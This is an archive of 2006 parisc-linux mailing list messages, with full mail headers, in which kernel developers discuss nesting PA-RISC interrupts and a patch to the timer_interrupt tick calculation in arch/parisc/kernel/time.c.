Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EdDJcIojTiEtQKyUaGRw8Zl1ZUVSRJfo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23974

On 9/4/06, James Bottomley <James.Bottomley@steeleye.com> wrote:
> Linux is designed so that one interrupt can be interrupted by another
> (but not by itself).  The idea behind this is to help reduce latency.
> Parisc interrupts have never allowed nesting.  We physically disable all
> interrupts in the eiem register before entering interrupt handlers, so
> even if the handler enables interrupts, nothing ever fires.
>
> I won't apply this until we've got the timers sorted out, because it
> will only complicate things (also note that the timer interrupts are
> IRQF_DISABLED, so we're guaranteed not to take any interrupts in them
> until local_irq_enable() is called).

This patch looks great. What boxes have you tested this with? 32-bit? 64-bit?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] make parisc interrupts nest properly
Date: Mon, 04 Sep 2006 22:02:12 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1157425332.3513.35.camel@mulgrave.il.steeleye.com>
References: <1157391143.3513.23.camel@mulgrave.il.steeleye.com>
	<119aab440609041955k6a6b9466h91726bd1a9e2d621@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624179 20930 80.91.229.3 (22 Nov 2014 02:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:59 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 03:02:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 05 Sep 2006 05:02:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 150E07D92F;
	Mon,  4 Sep 2006 21:02:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24673-10; Mon, 4 Sep 2006 21:02:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 238D07D930;
	Mon,  4 Sep 2006 21:02:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9B277D92D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 21:02:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24613-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 21:02:15 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 3CD5D7D917
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 21:02:15 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k8532C514512; Mon, 4 Sep 2006 23:02:12 -0400
In-Reply-To: <119aab440609041955k6a6b9466h91726bd1a9e2d621@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pIGZBZAQfW4oTuWveGVoyIdmdmllckUE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23975

On Mon, 2006-09-04 at 22:55 -0400, Carlos O'Donell wrote:
> This patch looks great. What boxes have you tested this with? 32-bit?
> 64-bit?

The only one I currently have access to: a pa8800 (i.e. 64 bit).

There's some testing to do to make sure I haven't disturbed any of the
other bus types, so I'll try it out on my raven when I get that up, but,
unfortunately, the dino block of interrupts, because of the way they're
wired, won't be able to interrupt each other.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 4 Sep 2006 23:12:47 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20060905051247.GB12278@colo.lackof.org>
References: <1157410039.3513.26.camel@mulgrave.il.steeleye.com>
	<200609042352.k84NqpuE028835@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624179 20934 80.91.229.3 (22 Nov 2014 02:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:59 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 05:12:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 05 Sep 2006 07:12:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A31C97D8CA;
	Mon,  4 Sep 2006 23:12:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26407-08; Mon, 4 Sep 2006 23:12:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A10C97D8F4;
	Mon,  4 Sep 2006 23:12:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30F847D8C8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 23:12:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26407-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 23:12:50 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DD4047D83D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 23:12:49 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6A0C03680E6;
	Mon,  4 Sep 2006 23:12:49 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22260-07; Mon, 4 Sep 2006 23:12:48 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EFC583680DB; Mon,  4 Sep 2006 23:12:47 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200609042352.k84NqpuE028835@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bzXEfMtRYW0+VLuGbmZpTWt0amthc1um
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23976

On Mon, Sep 04, 2006 at 07:52:51PM -0400, John David Anglin wrote:
> > +	if (likely(now - next_tick < clocktick)) {
> > +		nticks = 1;
> >  		next_tick += clocktick;
> > -		nticks++;
> > +	} else {
> > +		nticks = ((now - next_tick)/clocktick) + 1;
> > +		next_tick += clocktick*nticks;
> > +	}
> 
> I'd rather loop if now - next_tick isn't too many ticks.

Yeah, but we don't know how many times we will loop unless
we've already done the math.

>  Integer division and multiplation are very expensive, particularly when
> running in 64-bit mode.  We don't have optimized millicode to do it.
> So, I don't much like falling into the unlikely case if we are just
> delayed one tick.

How many loops would be a reasonable tradeoff? 5? 10?
We'd need a histogram from a "slow" machine to see that tradeoff.


> I'm still concerned that we may take a TLB exception in this code
> and substantially increase the calculation time.

Hrm...what would cause a TLB exception in timer_interrupt?
Accessing a global var?

> It's somewhat unclear whether any of these tweaks will solve the
> B160 issue.  The halftick margin may not be enough in the slow
> path at 1000 Hz and decreasing the tick rate may be the only fix
> on slow machines.

I'm pretty sure the halftick margin will be plenty.
At 1000Hz, a 50Mhz machine will have 50K cycles per tick.
Even with cache miss for global var (let's say ~300 cycles),
8 cycles for CR16 reads, 300-400 cycles for the math (using div/mul)
we are still under 1K cycles of processing. Say I'm off by a
factor or 2 or 4 and it's still a pretty wide margin.

Instead of a global var access for halftick, would a
hard coded value (e.g. 4k) that's easy to test for be
more efficient?

I'm still thinking of ~0xfffUL or (x>>12).

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Tue, 05 Sep 2006 10:53:34 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1157471614.3463.36.camel@mulgrave.il.steeleye.com>
References: <1157410039.3513.26.camel@mulgrave.il.steeleye.com>
	<200609042352.k84NqpuE028835@hiauly1.hia.nrc.ca>
	<20060905051247.GB12278@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624179 20938 80.91.229.3 (22 Nov 2014 02:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:59 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2006 15:53:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 05 Sep 2006 17:53:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82E477D793;
	Tue,  5 Sep 2006 09:53:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02666-07; Tue, 5 Sep 2006 09:53:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8D847D794;
	Tue,  5 Sep 2006 09:53:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBD567D78F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 09:53:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01856-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Sep 2006 09:53:46 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 5B7237D78D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Sep 2006 09:53:46 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k85FrZ524193; Tue, 5 Sep 2006 11:53:35 -0400
In-Reply-To: <20060905051247.GB12278@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9/SId7xEODBpUrWUfGRMPk81Ji9SWhJN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23977

On Mon, 2006-09-04 at 23:12 -0600, Grant Grundler wrote:
> > I'm still concerned that we may take a TLB exception in this code
> > and substantially increase the calculation time.
> 
> Hrm...what would cause a TLB exception in timer_interrupt?
> Accessing a global var?

A TLB miss could be caused by either code or data ... we only have a few
hundred entries, so the chances of the timer_interrupt code or data
being not in the TLB cache are high.

However, the TLB miss handling code is pretty speedy ... we can
certainly fill a TLB entry in around 20 instructions on the fast path.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 04 Sep 2006 17:47:19 -0500
Lines: 68
Approved: news@gmane.org
Message-ID: <1157410039.3513.26.camel@mulgrave.il.steeleye.com>
References: <1157385104.3513.11.camel@mulgrave.il.steeleye.com>
	<200609041657.k84GvPht025978@hiauly1.hia.nrc.ca>
	<20060904212139.GA12278@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624180 20940 80.91.229.3 (22 Nov 2014 02:43:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:00 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 22:47:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 05 Sep 2006 00:47:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E6C67D982;
	Mon,  4 Sep 2006 16:47:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21465-04; Mon, 4 Sep 2006 16:47:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8D3B7D979;
	Mon,  4 Sep 2006 16:47:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B41157D96E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 16:47:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20055-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 16:47:29 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 5FFCD7D968
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 16:47:29 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k84MlJ501784; Mon, 4 Sep 2006 18:47:19 -0400
In-Reply-To: <20060904212139.GA12278@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: O5XKdc1XYmYSfenCanc3spBKWkZTQZQY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23978

On Mon, 2006-09-04 at 15:21 -0600, Grant Grundler wrote:
> \Yes - I agree. I think this is the last bug in my code.
> I'll just "skip" one tick in that case.
> My guess is we'll never need more than a 0x1000 cycles
> to read CR16, calculate the new "next_tick" and write CR16.
> 
> I picked 0x1000 because it very easy to test for: "if (x >> 12)...".
> 
> I'll review the your patch and see if I missed anything else
> and then post version #4 (or #5?). Lost count.

This is the one I'm using that seems most stable (no more > 9 lost
ticks, even on a pa8800).  However, to get it this stable, I do require
nested interrupts.  It also does halftick processing as Grant does, so
it doesn't ever push the time into the future, it just holds off one
tick beyond where we currently are.

James

Index: parisc-2.6/arch/parisc/kernel/time.c
===================================================================
--- parisc-2.6.orig/arch/parisc/kernel/time.c	2006-09-03 21:07:45.000000000 -0700
+++ parisc-2.6/arch/parisc/kernel/time.c	2006-09-04 15:07:33.000000000 -0700
@@ -48,6 +48,7 @@
 	long next_tick;
 	int nticks;
 	int cpu = smp_processor_id();
+	unsigned long cr16_val;
 
 	profile_tick(CPU_PROFILING, regs);
 
@@ -63,12 +64,24 @@
 	 * Variables are *signed*.
 	 */
 
-	nticks = 0;
-	while((next_tick - now) < halftick) {
+	/* Don't do expensive mul and div for the likely case */
+	if (likely(now - next_tick < clocktick)) {
+		nticks = 1;
 		next_tick += clocktick;
-		nticks++;
+	} else {
+		nticks = ((now - next_tick)/clocktick) + 1;
+		next_tick += clocktick*nticks;
+	}
+	/* Don't interrupt too much.  If we only have half
+	 * the time to go to the next tick, push it out one
+	 * more tick */
+	cr16_val = next_tick;
+	if (unlikely(next_tick - now < halftick)) {
+		/* don't increment nticks ... the next
+		 * tick will take care of that */
+		cr16_val += clocktick;
 	}
-	mtctl(next_tick, 16);
+	mtctl(cr16_val, 16);
 	cpu_data[cpu].it_value = next_tick;
 
 	while (nticks--) {


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Mon, 4 Sep 2006 19:52:51 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <200609042352.k84NqpuE028835@hiauly1.hia.nrc.ca>
References: <1157410039.3513.26.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624180 20946 80.91.229.3 (22 Nov 2014 02:43:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 23:53:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 05 Sep 2006 01:53:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 830257D945;
	Mon,  4 Sep 2006 17:52:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21637-09; Mon, 4 Sep 2006 17:52:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27E0B7D941;
	Mon,  4 Sep 2006 17:52:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 066427D93D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 17:52:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21489-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 17:52:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AD4A17D938
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 17:52:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k84NqqEA028836;
	Mon, 4 Sep 2006 19:52:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k84NqpuE028835;
	Mon, 4 Sep 2006 19:52:51 -0400 (EDT)
In-Reply-To: <1157410039.3513.26.camel@mulgrave.il.steeleye.com> from "James
